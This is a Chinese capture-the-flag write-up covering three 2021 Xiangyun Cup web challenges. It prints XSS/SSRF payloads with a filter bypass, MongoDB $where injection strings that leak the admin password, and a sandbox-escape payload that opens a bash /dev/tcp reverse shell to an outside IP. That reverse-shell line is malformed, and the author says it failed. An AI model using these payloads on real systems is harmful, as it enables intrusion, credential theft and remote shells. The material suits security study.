0%

2021祥云杯部分wp

不得不给buu打个广告了,真的很给力,想复现祥云杯的一题给错了另一题的源码,反馈之后,很快就解决了。

[2021祥云杯]secrets_of_admin

下载源码,在database.ts找到账户密码,成功登录。

跳出一个Content的输入框。

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

content我们可以控制输入,输入的内容被写入在/api/files/一个文件中,名称可由传入checksum控制

可以利用content构造xss进行ssrf任意文件的读取,然后再访问即可得到我们读取的内容。

这里通过制造pdf功能来实现,构造payload:

1
2
3
<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();
</script>

filename的参数需要注意,不能重复,所以不能直接用flag,我们可以进行任意文件读取。

但是存在xss的检测,由于这里是Express的框架,includes()的检测对数组不起作用,我们用数组绕过。

最终的payload:

1
content[]=<script>var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();</script>

然后访问api/files/123得到flag。

基于filename不能重复, 并且路径是拼接的,我们可以随意构造一个目录,再跳出来。

1
<img src="http://127.0.0.1:8888/api/files?username=admin&filename=abc/../flag&checksum=123">

这里没有使用pdf功能,是因为HTML转PDF时,HTML里面的资源也需要加载进来,比如图片,CSS样式等等,所以请求了这个资源就可以进行ssrf。

再补充一种payload:

1
<script>self.location.href="http://127.0.0.1:8888/api/files?username=admin&filename=abc/../flag&checksum=123"</script>

参考:

第二届“祥云杯” WP-第三部分| WHT战队 - 知乎 (zhihu.com)

祥云杯2021 Web复现_feng的博客-CSDN博客

[祥云杯2021 web wp | Z3ratu1’s blog](https://blog.z3ratu1.cn/祥云杯2021 wp.html#more)

[2021祥云杯]Package Manager 2021

看到schema.js,可以知道使用的数据库是mongodb

在/auth发现存在sql注入

1
2
3
4
5
6
7
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);

存在一个waf,

1
2
3
4

const checkmd5Regex = (token: string) => {
return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

我们可以绕过,直接sql盲注出密码。

1
123456789123456789123456789123456789"||this.password[0]=="!

还有一个更优秀的方法,

1
MongoDB支持js的语法,所以可以用js语法去抛出内容为admin密码的异常。

payload:

1
123456789123456789123456789123456789"||( ()=>{throw Error(this.password)})()=="admin

参考:

祥云杯2021 Web复现_feng的博客-CSDN博客

[2021祥云杯]cralwer_z

考点:zombie的Nday漏洞、变量覆盖

下载源码之后,好好审计一下代码。

关键代码在user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});

这里bucket会把值赋给personalBucket,然后再看看/verify路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.get('/verify', async (req, res, next) => {
let { token } = req.query;
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});

如果token的值正确,就会将user.personalBucket赋给bucket。

这里有个过滤

1
2
3
4
5
6
7
  if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});

但是这里有个变量覆盖的问题。

我们分三步,先获得token的值,再构造自己的ip地址,然后修改personBucket,最后用第一次请求的token值,再将personBucket的值更新到bucket中。

下面复现一个zombie漏洞:

在自己的vps上放上exp.html

1
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/http://172.16.152.237/6666 0>&1'],);console.log(ls.output.toString());")()</script>

然后正常请求,获得token的值,然后修改bucket的值提交

1
http://172.16.152.237/exp.html?a=oss-cn-beijing.ichunqiu.com

最后再输入一次token的值请求更新bucket。

最后通过/user/bucket路由反弹shell

这里用的是buu内网来复现的,应该是ip的问题,没有成功,后面补上。

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道